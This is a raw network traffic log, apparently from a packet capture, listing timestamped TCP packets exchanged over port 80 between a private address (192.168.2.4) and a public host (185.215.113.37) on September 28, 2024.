Sep 28, 2024 10:19:11.597568035 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597599983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597614050 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597635984 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597646952 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597668886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597676039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597704887 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597712040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597738981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597748041 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597773075 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597780943 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597806931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597817898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597841024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597851992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597873926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.597893953 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.597915888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598566055 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598601103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598613977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598634005 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598648071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598666906 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598674059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598699093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598709106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598732948 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598742008 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598767996 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598787069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598802090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598809958 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598834991 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598850965 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598869085 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.598880053 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.598923922 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.599361897 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.599400997 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.599416971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.599456072 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.634641886 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.634671926 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.634697914 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.634715080 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.725879908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.725944042 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.725949049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.725976944 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.725977898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726026058 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726090908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726124048 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726139069 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726166010 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726233959 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726262093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726291895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726308107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726372957 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726404905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726423979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726438999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726449966 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726473093 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726483107 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726520061 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726752043 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726787090 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726808071 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726836920 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726838112 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726871014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726881027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726907015 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.726917028 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.726948977 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727108002 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727139950 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727169991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727169991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727171898 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727205992 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727214098 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727242947 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727245092 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727277994 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727283001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727323055 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727670908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727721930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727721930 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727756023 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727761984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727788925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727796078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727826118 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727832079 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727854967 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.727866888 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.727899075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728135109 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728163004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728190899 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728200912 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728213072 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728245020 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728250980 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728276014 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728290081 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728318930 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728317976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728353024 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728360891 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728385925 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728391886 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728420973 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728430986 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728457928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728466034 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728498936 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.728948116 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728980064 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.728997946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729032040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729046106 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729064941 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729077101 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729098082 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729106903 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729132891 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729142904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729166985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729176044 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729201078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729209900 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729233980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729243994 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729268074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.729276896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.729310036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730038881 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730072975 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730092049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730106115 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730118036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730139971 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730149984 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730171919 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730181932 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730206013 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730215073 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730240107 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730246067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730273962 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730283022 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730307102 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730317116 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730340958 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730350971 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730382919 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730844021 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730875969 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730894089 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730907917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730922937 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730942965 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730952978 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.730976105 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.730986118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731012106 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731019974 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731045008 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731055975 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731077909 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731086016 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731112003 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731122017 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731144905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731156111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731178999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731193066 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731229067 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731748104 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731797934 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731797934 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731832981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731843948 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731869936 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731883049 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731903076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731908083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731936932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731941938 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.731971979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.731978893 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732006073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.732017040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732039928 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.732048988 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732074976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.732084036 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732120037 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732659101 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.732695103 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.732712030 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732728004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.732739925 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732762098 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.732765913 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.732800961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.858731985 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.858864069 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.858882904 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.858932018 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.858941078 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.858977079 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.858994961 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859009981 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859023094 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859045029 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859056950 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859078884 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859091043 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859116077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859122992 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859158993 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859253883 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859286070 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859297991 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859322071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859332085 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859369040 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859483004 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859515905 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859532118 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859549999 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859559059 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859595060 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859783888 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859816074 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859848022 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859853983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859870911 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859885931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859898090 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859921932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859935999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859956026 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.859967947 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.859992027 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860007048 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860033035 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860265970 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860316038 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860326052 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860351086 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860368013 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860383034 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860394955 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860418081 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860425949 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860450983 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860464096 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860485077 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860510111 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860518932 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860532999 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860560894 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860572100 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860596895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860605001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860631943 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.860639095 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.860677004 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861171007 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861222982 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861228943 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861257076 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861265898 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861291885 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861303091 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861325979 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861331940 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861360073 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861375093 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861394882 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861406088 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861428976 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861437082 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861465931 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861473083 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861500025 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861511946 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861536980 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.861545086 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861579895 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.861975908 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862030983 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862109900 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862143040 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862154007 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862176895 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862185001 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862212896 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862226963 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862246037 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862260103 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862278938 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862289906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862315893 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862323046 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862397909 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862648964 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862704039 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862833977 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862868071 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862886906 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862900019 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862905979 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862934113 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862941027 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.862967968 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.862984896 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863002062 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863012075 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863035917 CEST	80	49730	185.215.113.37	192.168.2.4
Sep 28, 2024 10:19:11.863045931 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863084078 CEST	49730	80	192.168.2.4	185.215.113.37
Sep 28, 2024 10:19:11.863086939 CEST	80	49730	185.215.113.37	192.168.2.4
